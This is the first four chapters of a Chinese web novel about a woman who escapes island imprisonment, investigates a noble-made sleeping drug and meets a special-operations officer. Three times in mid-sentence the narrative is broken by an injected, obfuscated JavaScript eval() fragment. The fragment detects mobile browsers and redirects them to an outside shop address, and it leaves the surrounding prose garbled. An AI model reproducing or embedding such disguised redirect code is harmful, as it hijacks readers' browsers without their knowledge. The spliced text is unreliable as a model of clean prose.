《竹马被通缉了怎么办》 1. 第 1 章 这座瞭望塔是从几十年前就建起的。随着时间过去,变成了如今暮气沉沉的模样。 奇怪的是,两年前,这里住进来了一个人。 一个二十岁左右的女子,她有着一双如同倒映着蓝天白云的眼睛,在阳光的折射下泛出平静湖泊似的的深蓝。 “她是一个从外面世界来的犯人,你们都不可以接近她。”远离那座塔,岛上的居民都是这么告诉孩子们的,但除了警告,两方倒也相安无事。 顺着铁质的旋转楼梯可以来到二楼的平台,在这里有一个带着小窗的值班室,生锈的窗台也在陈述着已经荒废的事实。 没有人知道这里的具体坐标,只知道这是一个火山岛。和其他众多岛屿一样,有洁白的沙滩和大海,有着明亮的火焰树,在傍晚时分海滩也是安然地呈现出一片温暖的橙红色。 而当冬天来到这座岛上,海面就变成了灰蓝色,任由海水拍打着黑色的火山岩。 岛屿就这样在四季浓烈和灰蒙的色彩中切换。 窗外的景色就这样,循环往复。她就像一个自然景观的监测员,平静地看着眼前发生的一切。 慢慢的,塔旁边出现了孩子,但是也只是躲在石头后面,没有靠近。 于是她从窗户——这个唯一能与外界沟通的渠道伸出手,朝窗外挥了挥手,没有人靠近,但是窸窸窣窣的声音变大了。 “我们不可以再靠近了!我听我妈说,这里关押着一个魔女。” “我三舅家的大表哥说,她是被之前我们的领主关押到这里来的人。” “我们的领主……就是之前统治大陆的三大家族吗?” “对呀,我妈妈说,像我们这种叫离岸岛屿,是受贵族保护的。” “可是为什么只有她一个人呢?” “因为——”窃窃私语的声音更低了:“她是有超能力的人,如果把她放出去,世界就会毁灭了!” “可是她万一先把我们的岛给毁灭了怎么办?” 宴希鸣翻了一个白眼,说:“你们说的我都听见了!我怎么不知道我有这么厉害,听好了,我可不是什么坏人!” 石头后面肃静了好一会儿。 “她在骗人,大人说坏人都不会说自己是坏人。” 宴希鸣努力地为自己验明正身:“嘿,你看我手无缚鸡之力,连塔都出不去还能做什么?” 孩子们将信将疑:“那你要最好乖乖呆在里面,如果你出来了我们勇者就要、就要组团消灭你!” 然后宴希鸣就发出了一连串的冷笑,把他们都吓跑了。 但是后来,机智的她从小孩子手里骗来了一个时钟,挂在房间里,太棒了,这下足不出户也能知道真实的时间了。 日子就这样平静地过了下去,除了被囚禁于此,也没有什么不好的……才怪。 也许是刻板印象的塑造,连宴希鸣都觉得自己越来越像反派了! 好在岛上的人也都很淳朴。因为他们竟然没有把这个疑似“魔女”的人推到海里淹死。甚至对她的存在都已经习惯了。 根据她的观察,岛上大多数居民似乎从来不会离开这座岛。 有外来的船只每个月都会来给岛上的人送一些外界的物资,在她买通开船的人,并给了他一个全身上下唯一值钱的怀表后,那个人也答应会送一些岸上的报纸给她,虽然她收到的永远是一两个月前的讯息,但这些已经弥足珍贵。 她发现在自从贵族战争结束后,外面的世界简直迎来了翻天覆地的变化。 人们终于推翻了贵族的统治,将他们赶到了科洛山脉的另一端。随着那些人作鸟兽散后,便再也没有消息传来,然而当月光拂过沉睡的山岭,虫鸣传来窸窣之声,流言说着他们仍在山脉那端不怀好意的窥视,随时准备卷土重来。 时至今日,报纸上仍有很多批判贵族的声音。 可接连送来的报纸上,还有一些奇闻怪谈引起了她的注意。 比如街头有人被迷晕,醒来之后报案说他们看到了自己去世三十年的妻子。 还有人在街头沉睡三天三夜,始终没有办法被人唤醒,最终自己睁开眼睛跑走了。 宴希鸣喃喃道:”难道这就是他们之前一直在研发的那种药剂?这些人……他们难道真的想要把所有人都变成那种怪物吗?” 她仔细回想起,自己曾经见过的那种药剂的模样。但始终脑海中都只能呈现出一个模模糊糊的影子。 这就要继续翻开贵族罄竹难书的一页,在那个灰暗的时期,他们热衷于在人的身上注射一种特殊的病毒,无论这些人是奴隶或者只是普通的平民都难逃毒手。这种病毒会将人变为身上布满灰色的鳞片的爬行类生物,贵族如此高高在上,如此不可一世,他们喜欢看到这些类人生物在地上踽踽爬行的样子,以彰显自己具有神的身份,甚至能够褫夺人类的品格。 最终他们将这种病毒改良成一种叫沉睡剂的药剂,并大肆宣传说沉睡剂能让人看到自己心中最为依赖的事物,贵族的创作为犯罪行为披上了完美的外皮,还一边怜悯地说着世界上或许真的存在不需要付出代价的事情。传闻说注射过量就会变成真正的怪物,像宴希鸣这样亲眼目睹过的人肯定知道这是真的,然而将心中依赖的事物重现是如此的具有吸引力,这也引发很多或无知或无畏的人去接近和追溯这则都市传说的根源,想看看是否确有其事。 但后续如何,所有人都默契地闭口不提。 贵族到底想做什么?难道即使战争结束,他们还是不肯放弃这项毫无意义的研究吗? 正是因为见过如此违反人伦的场景,宴希鸣才如此反对贵族的暴行,她还在自由野读书时,就已经在调查有关于沉睡剂的事了,也在这个过程中,她亲眼见证了硝烟迅速弥漫到了每一座城市。 愤怒的子民,贵族口中的暴徒,将滔天的怒火引向了贵族的华座,作为他们残暴和傲慢的陪葬。而命运,这个始终冷眼旁观的家伙,将棋子重新排列,新的秩序从中诞生了。 战争最终用了三年的时间结束。由反抗组织集结而成的赦令大楼成立,并且开始接管这片土地。在战争结束之时,她因为调查被贵族的人恼羞成怒地抓住,贵族报复般没有把她带走,而是把她扔在了这座荒岛里,从此不闻不问。 看来如今,贵族虽然已经撤出,但是沉睡剂却依旧按照计划渐渐在城市里散播开了。 如果没有人来救自己,可能就再也出不去了。 可她始终坚信着,一定有人在追寻她的下落。 有的时候宴希鸣心想直接破窗而出好了,今亡亦死,举大计亦死,既然横竖都是死,不如就趁现在! 然而每当她试图从小窗户里钻出去,看到茫茫的海面重复地陷入了和上次一模一样的思考。 孤岛的海况复杂,也没有船,连方向都不知道,这该怎么逃啊! 抱着最后一丝希望,她将怀表交给了送菜的人,如果不出意外,这个人应该会将怀表卖掉,只要流通出去,她在外面的“外应”应该就能顺藤摸瓜找到他。 而这一天,一个不速之客的到访直接打破了原有的宁静。 一张沟壑纵横的脸出现在她的小窗前,打断了她的遐想。她立刻就认出了这就是每个月给她送报纸的人。 然而这个人却冷笑一声,笑声令人不寒而栗。 “原来你一直都在想往外传递消息?今天就是你彻底离开这个地方的时候。”那个人说着,从自己的黑色长袍下掏出了一把电锯! 宴希鸣立刻跳起来,躲在了房间的角落:“不要!有话好好说啊!” 那人就开始用电锯滋滋的把铁门锯开。 宴希鸣浑身的毛都炸起来,但是表面上依旧冷静地对他劝解道:“这位刺客,且听我一言!贵族是让人把我关在这里,以儆效尤,没让你把我杀了吧!!把我杀了还怎么起到以儆效尤的效果呢。” 对方不言不语,破门而入,从怀里扔出了一个物件,摔在桌上。 “原来你是这个打算,没想到你这么值钱,怪不得贵族要关押你。”男人撇了撇嘴,嘴角更深的纹路蔓延:“那位大人给了我很大一笔钱,让我把你带出去。” 宴希鸣一把抓过原先属于自己的怀表,藏在口袋里,心情一阵激动。 果然,她先是欺骗对方这个物件很值钱,就等着面前的这个好财之人,将它拿去二手转卖。 并且她猜测,这人口中所说的“这位大人”就是她的青梅竹马,从小和自己一起长大、一块读书的玩伴,毕竟他曾经也和自己一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407377|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样是反抗组织的一员。 虽然自己已经与外面的世界脱轨,但她却十分坚信,他们一定会有再次见面的那一天,因此她从未放弃往外传递消息的念头。 那个熟悉的名字在心里唤起,脑中浮现他们离开自由野的逃亡时刻。那时和如今一样,都离自由只有一线之遥,这种事情只有一向和她配合默契的那个人才能做到。 “你说的那个人是谁?他,他长什么样,叫什么名字?” 对方没有回答,只是露出了一个讳莫如深的表情:“关于那位大人的事,我一个字都不会说的。” “那他有说我要去哪里找他吗?” 对方想了想说,“没说,他说你随便找个地方生活就好了。” 这么随意? “这是他交给你的东西。”男人掏出了一个透明色的轻薄手环:“这是岸上的电子身份识别凭证,里面还有钱,密码据说是你的生日,足够你生活了吧,真是好运的家伙。” 宴希鸣立刻接过,低头仔细快速检查了一下,锲而不舍地问道:“还有呢!他还说了什么其他的吗?” “哎呀,小姐,你别问了好不好,说了没有就是没有,再问就有人来了。” 他说完从地上捡起一块砖,直接拍在宴希鸣手里,背朝着她指了指自己的后脑勺:“来吧,往这砸,不要直接把我砸死了!” “……万一我控制不住怎么办!而且非要用这么暴力的方法吗,你就不能和我一起走吗?” “我和你走了,这事算谁的?如果被贵族发现,我把他们的囚犯带走了,我会怎样?小姐,我能帮你的只有这么多,剩下的只能靠你自己。” 贵族的凶残向来有目共睹,对方这么谨慎倒是也不意外。但宴希鸣突然想到了岛上的居民,还有那些躲在石头后的小孩。 按道理来说,他们对自己有看管责任,如果她逃走了,岛上这些无辜的人,很难说不会受到贵族的报复。 那人虽然背对着她,但是从她的犹豫看出了她的心思:“那位大人可没有你这么瞻前顾后,他给我的命令是不惜一切代价让你上船,但是你却还在这里犹豫起来了,贵族的人把你囚禁在这里,他们也默许了这样的行为,他们难道不是帮凶吗?照我说,他们也是你的敌人,对敌人还有什么好怜悯的,真是搞不懂你们这些人。” “……这个世界不是非黑即白的。很多人懵懂地活着,并不知道他们在做什么。” “哼,你还是先担心自己吧,你开过船吗?” 宴希鸣摇了摇头。 “好吧,我只说一遍教程,改装后的快艇很简单,你听好了。”男人比划道:“左边方向盘,右边是档位,把钥匙往右边转打火,往后拉倒档,给油,然后拉前进档,档位决定速度,方向盘决定方向,就这样,很简单。虽然说你被淹死了也不关我事,但是我还是希望你能活着回去的,因为我的尾款还没结。” “好吧,那就借你吉言。”宴希鸣说完就扬起手,把砖头往他后颈一砸。 “咚。”那个人应声倒地。 “等等!”宴希鸣突然想到什么,沉默了一下。 “……这个船,我应该往哪里开?” 事已至此,只能不作不休。此时已经容不得她想太多了,于是她披上了男人的外套,学着他的样子佝偻着身子,解开了岸上的绳索。 快艇往后破开海面,倒离出海湾,海面上划出白色的浪花,她看到身后的岛屿已经有人发现了异常,纷纷走了出来,目视着她离开的方向。 再不走就来不及了! 她紧紧握着方向盘,用力转动,船立刻加速,朝着大海上划去,火山岛也渐渐地被抛在身后,变成了一个小点。 在这时,怀表上的指针开始旋转起来,一开始是无序地旋转,估计是受此处磁场的影响,但是开出一段距离后,指针就开始朝着三点钟的方向移动。这不是简单的一个怀表,在这时变成了一个指南针!根据她被抓走时隐约的判断,大陆应该是在岛屿的西边,既然这样……她就开着快艇朝西边驶去。 看着远方复杂的海岸线已经离她越来越远,宴希鸣心中百感交集。而外面的世界早就不是她所熟知的那样了,想到这里,她的心脏更是紧缩,只得用呼吸来转移自己的注意。 2. 第 2 章 天边是暖灰色的调子,缓慢地舒展开,金色的阳光透过云层过渡到绸缎一样浓腻的海浪上。海水拍打着礁石发出悦耳的浪花声,溅起了银白色的波浪边,连带着礁石也变得湿漉漉的。有许多海鸥在海上的天空,海上漂泊着古铜色的渔船,桅杆已经被晨光照亮,船身倒影在海面上。 自从她逃离孤岛来到这座海边城市,已经过去了一个月。 一个月!她却没有找到任何可以接应她的人,那个在幕后筹划救她出去的那个人也仿佛如同一场幻梦,杳无音信。这才她才明白传话中的“随便找一个城市生活”是什么意思了,不知道是有事情走不开,还是不方便见面,甚至更糟糕的是,并不想见面?她只要暂时放弃了寻找那个人的想法。 既然找不到人,自己也不能闲着。 今天她准备一探究竟的对象是一个礁石下的海上洞穴,实则作为一个集市的入口,根据本地人的信息,市场上广泛流传的沉睡剂有时候会被二手商贩带到此地售卖。 她倒要看看如今的沉睡剂到底是个什么样子,以及贵族到底在搞什么名堂。 宴希鸣踩在一片深褐色的礁石,看着前方在心里说道,那就是我要去的地方。 由于礁石上面有很多碎贝壳和沙砾,她走的非常小心。 因为有的人走多了,礁石上被凿出了一个很深的脚印。 宴希鸣踩在那个脚印上,立刻就看到了她的右前方,被人为凿出了一节节的台阶。台阶贴着岩壁顺流而下。靠近海的那侧是深深嵌入岩石的红硬木,这种木头非常耐海水腐蚀,凹槽处绑着浸满了盐渍的海绳作为扶手。宴希鸣看到前方有人抓着海绳,侧身往底下去了,于是也学着他们的样子往石阶下走去。宴希鸣偶尔会踩到咯脚的碎石,石阶上有些滑腻,她紧紧地抓着海里的海绳,黑色的头发在风中糊了一脸。 “怎么这么长……”海浪的声音在她耳边响起,离她越来越近了。 “别挤,先排队!!”她在离海面还有一截的地方停住了,因为前面还有五六个人,他们被不上不下地卡在中间。一个皮肤黝黑的船夫正在指挥他们。 “这些人都是当地人,负责摆渡的。”前面的人在对同伴努努嘴:“都是两个人一艘船,船只紧张的情况下就需要等很久,不过我们今天还算幸运。” 他说的是对的,在前面一男一女过去之后,宴希鸣看到那边正停泊着一艘独木舟,舟的一头用绳子固定在岩壁上的钉孔处避免被海浪拍走。此刻由于是退潮,海水褪去,露出了海平面上的一个洞穴。那个渔夫就是准备将他们摆渡进去的。见他们下来了,渔夫说了两句令人听不懂的本地方言,宴希鸣早有准备,从兜里拿出两个硬币,一枚的价值是十伽元。 很显然这还是付费项目。渔夫朝她扔来一件蓝色的救生衣,穿完救生衣后,宴希鸣就一跃而下跳到了船上,船夫扯着嗓子对她喊到:“躺下!”然后扯了扯自己的帽子,撑着桨划向洞穴。 这个洞穴十分低矮,还没有半人高。随着划入洞穴,有一段时间的昏暗,宴希鸣惊奇的发现自己的救生衣上发出了蓝光。洞穴深处传来了一股咸涩的矿物味道,但没有一会儿,眼前突然豁朗开朗。只见蓝光正在岩洞内部、自己的衣服、和船身上流转。 洞穴内部异常宽敞,由于海水的反射,此时整个洞内都反射着幽幽的蓝光。洞穴内别有洞天,错落有致,有很多礁石打造的平台,层层叠叠。 平台的边缘有像刚刚岩壁上那样的海绳,作为简易的扶手好让人攀爬上去,有的比较低的平台几乎是与海水齐平。这种奇观简直令人惊叹,像是一座鬼斧神工的迷宫。 洞穴内正是人来人往,有一些是和他们一样坐着独木舟的,更多的人都是在礁石上。宴希鸣好奇地坐起身往礁石上看去,只见卖的东西各色各异。渔夫朝她指了个方向,示意他们那边的人比较少,可以上去。 “请问,你知道哪里有卖……” 但是渔夫非常不耐烦地摆摆手,不愿意充当向导的角色了。 宴希鸣就在礁石平台之间走走停停,平台上大多都垫着吸水布防湿,上面摆放着各种商品,像是草药和干货之类的,很多客人像麻雀一样聚集移动,然后又会各自散开,到处都是叫卖的声音,相距较远的平台之间是用绳索和木板制成的桥连接,但是如果想要到对岸的平台,就需要搭乘渔夫的船。她也不想去比较低的平台,因为那里离海更近,更是湿漉漉的,她可不想一个脚滑掉进海里。人山人海,几乎把她的视线都遮蔽了。宴希鸣登上了一个比较高的平台,视线默不作声地从每个人的大脑壳上扫过去,想看看这里是否存在那些人所说的“特殊的商品”。 也许是她的错觉,在她登高望远的时候,她微妙的感受到有一道视线一直落在她的身上。她也同样试图搜索出这道视线的源头,但是对方却巧妙地隐匿了。 正当她居高临下地打量时,她听到自己脚底下的一个礁石平台处的角落,有人正在对话。 一个扎着松松垮垮麻花辫子的小女孩,穿着一件不太合适的宽大毛领棉服,正在位于和人对话,那个人背着一个斜挎包,作为成年男性比她高出了好几个头,但是在和她对话的过程中却没有丝毫要弯腰的意思,脸色的每一个细微的神情都写着不耐烦。 “你妈妈怎么没有来?不是她要和我交易的吗?” “……她生病了。” “呵呵,像她那样的女人也有病殃殃的一天吗,真是没想到。” “换我来也是一样的。” “我可不是做慈善的,你身上有几个子儿?” “她没有钱了!” “没有钱你找我干什么?玩我呢吗!没钱就一边儿去,搞得像是你不买就没销路似的,再说了怎么可能一点钱都没有,你别以为我不知道她都做了什么……” “是真的,钱都用来买酒了。妈妈说她很痛苦,去不了那里她就活不下去了。这都是我打零工赚的钱,求你把那样东西给我吧。” “打零工?是偷来的吧。”男人不屑地从鼻腔里发出一声喘息,然后想要伸手接过钱袋子,但是被小女孩躲避了过去:“你先把那个给我。” “那个?我说你,她对你很不好吧,干嘛为了那样的老女人做这种事?不过有一点她说对了。那里真的是另外一个世界啊,能够做个好梦是多少人的愿望,可惜了,无忧无虑的酣睡放在残酷的世界里也是一种奢侈呢,哈哈哈哈,小朋友,假如梦里有你想要的一切,这样的世界你不想感受吗?” “……” “她钱少,但是我钱多啊,来做我的生意怎么样?” 男人毫不收敛的笑声被另一个插入的声音打断,一个脸上带着微笑的女子从礁石背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407378|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹿了出来,她举着右手朝自己示意道。 但是脸上不是真心的微笑,眉眼虽然是弯起的,但是却冷冷的。 男人被她吓了一跳:“呵呵,这位小姐,我可不知道你在说什么啊。” 宴希鸣说:“你的那样货物,我也向你买怎么样?” 男人瞪了她一眼:“你懂不懂规矩啊,以为这是进货,说有就有的?我好不容易弄来的。”男人伸出手,手中是一张绿色的纸,像是一张门票。 宴希鸣的脸也绿了:“啊,这是什么?” “通行证。不然你以为我在这里干嘛?”男人鬼祟地看了她一眼:“沉睡剂不能在离开市场的地方售卖,这你不知道?是被哪个二手贩子坑了吧,我这是正经的,童叟无欺,送你进市场,你再自己买。” “……多少钱?” 男人伸手比了个三。 “三十?” 男人呸了一声,指着她的鼻子说道:“三百!禁止讨价还价,就是因为你们这种人老砍价,我这个月都赚不到钱了!” “做非法的事还这么嚣张,你就是活该。” 宴希鸣指了指外面儿:“知道外边有谁在吗?偷偷告诉你,今天赦令大楼的人也来这里了,我可不想告诉他们这里有人在做非法交易,尤其还是他们最深恶痛绝的市场,你也不想吃牢饭吧?” 男人脸上非常无语的表情:“你到底要干嘛!” 宴希鸣伸出手,面无表情地逼迫道:“我买不行吗?她就可以?你是欺负小孩子还是看不起我?” 小女孩突然着急了,想要去抢男人手里的东西:“是我先来的!” “玛德,保持距离啊!”男人往后退了两步,警惕地看着他们俩:“票我就一张,你们谁钱多我给谁。” 居然还引入竞争机制?宴希鸣忍无可忍地撩起袖子:“那就你手上这张给我,不给我就要抢了!” 男人目瞪口呆:“你是哪里来的野蛮人!讲不讲道理!” 宴希鸣拽起袖子气势汹汹正准备上手。男人转身就要跑,她一把就揪住了男人的帽子,把他往后一拎。 “嗨,你这女的!看起来还挺瘦,怎么力气这么大!”男人嘴里胡乱地叫嚷着,手舞足蹈中手中的票也被宴希鸣揪住,两人在挣扎中票被宴希鸣扯掉了……一个角。 二手贩子将一条滑手的鱼,身子一扭,一个猛子扎进了海里,溅起了十分不美观的水花,宴希鸣闪避及时,没有让海水溅到自己脸上,但是脚边的一片地都变得更湿了。 不是,这也用不着跳海吧! “咳咳,救命啊!有人落水啦!我不会游泳啊!”男人在海里嚎叫着,还不忘记朝宴希鸣抛来一个得意的眼神。 快淹死快淹死。宴希鸣在心中诅咒道。 他杀猪般的叫声吸引来了摆渡渔船的注意力,有一艘向他开过来。他手脚并用的爬到了一个渔船上。宴希鸣犹豫了一下,还是做不到下海跟着他游一圈,这么冷的天!宴希鸣原地打了个颤。 还没等她松懈下来,一个黑漆漆的物件从后面抵住了她的腰,一个清晰的少年音带着十足威胁的口吻从耳边传来,属于人的体温也悄然在身后接近:“不许动,把你手上的东西交出来。” 宴希鸣这才发现小女孩已经跑没影了,而自己手中还抓着从那个人手中撕下一角的门票。 3. 第 3 章 宴希鸣僵硬地举起了手中的碎片。 身后的人一把接过,拿到鼻子前看了一眼后随即扔在地上:“你到底懂不懂怎么抢东西啊?” “你能不能不要乱扔垃圾啊!” 在对方收起武器的一瞬间,宴希鸣立刻就明白了自己的处境,瞬间转身以最快的速度就往前方狂奔而去! 这一切都快速地发生在比闪电还短的时间内。 在接触到水泥地还没跑几步的时候,身后一个迅猛的力道扑来,自己像是被斗牛从身后铲飞一样,被狠狠地扑飞在地上。 “哎呀,我的脸!”宴希鸣在天旋地转中闭上眼睛,死死地用胳膊肘护住自己的脸,然后以一个很不体面的姿势被人摁在地上,发出咚的一声。 “唷,你还挺爱惜自己的羽毛嘛。”后面那个人恶气深深地故意凑下身来,阴阳怪气地说道,他带着一种特殊地方的口音,听上去有些蹩脚,整个人都压在她的身上。 “个子矮矮,力气不小,腰都要被你坐断了。”宴希鸣在他看不见的地方对着地面翻了个白眼:“还有你刚刚说的是人话吗,后脑勺着地也不行啊!那不是脑震荡了吗?” 于是那个人利索地把她咸鱼翻身转了个面,好让她正对着自己。 少年的短发东一缕西一撮地随风摇摆,皮肤由于日经月晒呈现出一种健康的微铜色,他的手劲很大,由于此刻将自己翻转过来有些略微的放松。 他们的鼻尖凑得很近,宴希鸣能够感觉到那人探寻的目光一直在自己脸上游走着,这种被人细细打量的感觉很不好受,于是宴希鸣同样用厌恶加嫌弃的表情回敬他,同时憋着劲将手往下一扯。 “哎你……” 在这微妙的时机,她用出的左臂狠狠的朝身上的人脖子处肘击!那人没料到她突然暴起,一时重心被破坏,顺势往旁边倾斜倒去。 好机会! 宴希鸣一跃而起,但是那个人的反应奇快,不死不休的一下子又从后面扑了上来,瞬间用手卡住了她的脖子。 而另一只手则是碰巧放在了…… 她的胸上…… 宴希鸣低头看了一眼,又是一整咸鱼翻腾:“流氓,看我不打死你!头发给你薅一地!” 对方后知后觉地看了一眼自己的手,立刻像抓到烫手山芋一样跳起来:“对对对不起!!不过也就是一坨肉你反应不要这么大吧!” “什么——!” “证件!我给你看我的证件!” 少年手忙脚乱地的放开他,在自己身上好一顿上下摸索:“天哪天哪,我证件呢!” “找到了找到了!你看这!” 宴希鸣蹙着眉瞥了他一眼,然后微抬起脖子盯着他手里有些厚度的黑本证件,上面写着特别行动部这几个字,扉页还印着白金塔楼的图案,正是赦令大楼的标识。 只看了一眼,宴希鸣就感觉自己有点死了。 不要紧,再看看。 姓名:蕾拉 性别:女 “不是,是我眼睛瞎了吗?还是我出现幻觉了。你是女孩子吧!” “我也没说我是男的啊!我就不能是帅气的女孩子吗?” 这一切都太诡异了,宴希鸣陷入了深深的震撼中。 于是她还没反应过来,蕾拉就果断地摸出了一副手铐,往宴希鸣手上拷上,把她背朝外靠在石头上。 蕾拉的语气已经恢复了平静,狠戾地说道:“赦令大楼上个月刚刚在这里端了一波非法交易的人,你还敢送上来门来,简直是不知天高地厚!你给我等着,不许走动,就在这里等我!” 宴希鸣以这个非常屈辱的姿势站着,说:“等等,这不对,我没有交易!” “你是没有交易,你想直接抢,情节更恶劣,别想跑,这个手铐上有定位。” 宴希鸣等蕾拉走远了,便像一个烙饼一样自动将自己翻过身来,尝试打开手铐——这当然是不可能的。 正当她一筹莫展之际。 看到对面的礁石上,似乎有人很刻意地在看着自己。目光已经不加掩饰地落在自己身上了,或许是心电感应,宴希鸣也朝那个方向看去。 那个人穿着一件黑色的连帽斗篷,帽子一直拉到头上,露出了茶棕色的些许发丝,他就那样安静而闲适坐在那里,仿佛正在聆听着海声。 他的坐姿并不舒展,而是平静地将自己拘束在这个地方,像一只安静的雏鸟,在自己的窝里看着绵绵的春雨,等待着。 即使相隔这么远也能感觉出他的身上散发出一种莫名的磁场,温和的好像被阳光透过脉络的树叶,让人不由自主地想要靠近。 此时由于洞穴内的逆光强烈,看不清他的脸,只能看到对方茶棕色的头发,有些微微蜷曲,他发现宴希鸣正在看他,于是伸手把快掉到鼻子的墨镜又戴上去了。 宴希鸣心想这人在装什么比,这么蓝的地方戴墨镜。本来想转过头去,但是这人身上不知道有什么魔力,让她的目光没有办法离开,心跳的越来越快。 宴希鸣一直侧着头看他,他也意识到了那一点,但依然从容的坐着,任由她的打量。 宴希鸣愈发的感到犹豫,那沉寂的心怦怦跳着,竟一瞬间让她感到了心如擂鼓的感觉。 他是谁?为什么,这种感觉这么熟悉? 宴希鸣迟疑地一直盯着他看,伸手揉了揉自己的眼睛,那男子仍翘着腿坐着,手中不急不缓的正翻着一面报纸。微微偏了偏头,刚好有人走了过去,把那束阳光遮挡住了,那人的面庞正愈加清晰起来,虽然只露出了鼻子和嘴巴,但那也…… …… 宴希鸣这下是真的想跳海游过去了。然后把他扔到海里去,喂鱼! 她一直在找他,这漫长的一个月啊。 可是他就跟丢到大海里失踪了一样杳无音信。此时看到自己被拷着居然也没有任何解救的意思?! 那个人将手放在唇边,像是咳嗽了几声。 宴希鸣紧紧攥拳,刚好此时有一搜船来了,宴希鸣不管对岸那个人在摆手疯狂阻止,对渔夫说道:“开船!” 渔夫说:“喂,这位小姐,你不要跳上船了,超重了!” 但是—— 宴希鸣如同碰瓷一般上了船,其实她很少做这种土匪一样的事情的,毕竟曾经她在塔里的时候都是尽可能地保持优雅、高冷的模样,然而一出小岛外面的世界大变天,感觉都已经和地球脱轨了,都怪这个无情的世道啊! 渔夫和船上的人都震惊不已地望着她手上的手铐。 “有人把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407379|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的钱包偷走了!还把我铐上了!”宴希鸣在心里呐喊,听听,宴希鸣!这种尖锐的理由你自己相信吗! 但是其他人纷纷点头,连船夫手里的桨都划的更快了。 好不容易她手脚并用爬上了岸。 然后从外套下掏出了……手。 真是无力! 男子见状非常灵巧地快速伸出左手将她的手格挡住了。然后他另一手将报纸往右手边一扔,然后像鸽子一样蹦哒似的站起来,宴希鸣有些急了,连忙去抓他的手,他非常灵活的一个走位就挣脱出了她的桎梏,背对着就小跑走了几步:“别动手!先别动手!” 但是那个名字在她的嘴里呼之欲出,却一直气血攻心,不能够随心所欲的呼喊出来,情急之下她只能喊道:“你等等!” 那人听到宴希鸣的呼喊,跑的更快了,从原来的小跑变成了大跑,就这样,他在前面奔跑,宴希鸣在后面狂追。 就这样,他们跑了几个礁石的平台。再一抬头,他已经沿着绳索攀爬到另一块礁石上了。 人群来来往往,遮住了视线。 宴希鸣感到有什么晶莹碎在睫毛上,伸手一摸发现是头上的石缝掉下的水珠。 好像冬天的初雪,脆落地飘在空中,再落在路人的肩头,宴希鸣伸手摸了摸,有些许湿润的凉意。 这是为什么呢? 为什么不愿意,让我看到你的脸呢? 宴希鸣知道这是他不愿意自己追上去,于是站在了原地,怔怔的看向他。 宴希鸣停下来后,他也没有再跑了,而是也站在原地,静静地观察着她,或者说在注视着她。 这是一种非常温柔、宁静的注视。在这样的无声言语下,任何人都能产生出一种友好的、被无条件信任的感觉,宴希鸣虽然没有看到他的脸,但是却知道这个人是站在自己这边的,否则不会有这样不参杂任何敌意,甚至带着支持性的暗示,就像是多年来心有灵犀的默契。 虽然她也非常想冲上去问问为什么?但却被留有余地的理智压制住了,这么做一定是有他的原因的,也许解释并不是当下比较好的话题。 久违的,她已经很久没有过此刻的感受了。 那一刻,什么逃亡、身份、危机都不再害怕了。 一切都被包裹在了这场平静的重逢里。 宴希鸣突然有点想哭,但她也没有这么脆弱,只是缓缓地开口,想要说什么。对方却摇了摇头。 这是又有一群人热火朝天地聊天着,走了过来,挡住了他的身影,投来一片影子。宴希鸣心里突然有一种这个人即将消失的预感,因此急切地盼望着这群人走过。 直到他们的挨着的身躯走远,不出意料的,那个人已经消失在了她的视野里。 她慢慢的蹲下身来,心还是砰砰跳着,这是梦吗?还是又一种幻觉呢?刚才一切是真实发生的么,还是如同他戏剧性的过程一样是个玩笑? 能够回答她的只有天上掉落下来冰凉的水珠,以及自己手上冰凉的手铐。 手铐…… 宴希鸣再次两眼一黑。 就在这时,耳边再次传来一个熟悉的声音,带着不屑和挑衅地说道:“呀,挺能跑啊,早知道脚上也拴个绳,一会不见,就跑这么远了。” 4. 第 4 章 蕾拉盯着宴希鸣看,左右两边的眉毛像是被不干胶粘在了一起般皱了起来,做出的威压表情让她稚嫩的脸立刻苍老了三十岁。 “嘿,别这么看着我,我没有逃跑,这都是你的主观臆断。” “噢?你没有逃跑,那么是浪花将你从对岸冲到这里来的?”蕾拉顺着宴希鸣的目光也瞧了一眼身后的礁石:“你在东张西望什么?” 一看到蕾拉捕风捉影的迹象再次显现,宴希鸣立刻打断她:“没有的事,我眼皮抽筋了。” 宴希鸣观察着蕾拉脸上细微的变化,看来她不仅是对自己不满意,对这里也很不满意,于是她问:“所以你找到你想要的东西了吗?” “关你什么事?少瞎打听。” 宴希鸣却盯着她的脸,微微地笑了:“没找到就没找到呗,你对我吼这么大声做什么?如果你想要找到那种东西,最好和当地人搞好关系,你说对吧,这位长官?” 蕾拉撇了撇嘴:“这群人试图诱惑别人的方式很愚蠢,但是东躲西藏的本事却很精妙,不过这次抓了你,也不算没有收获。” 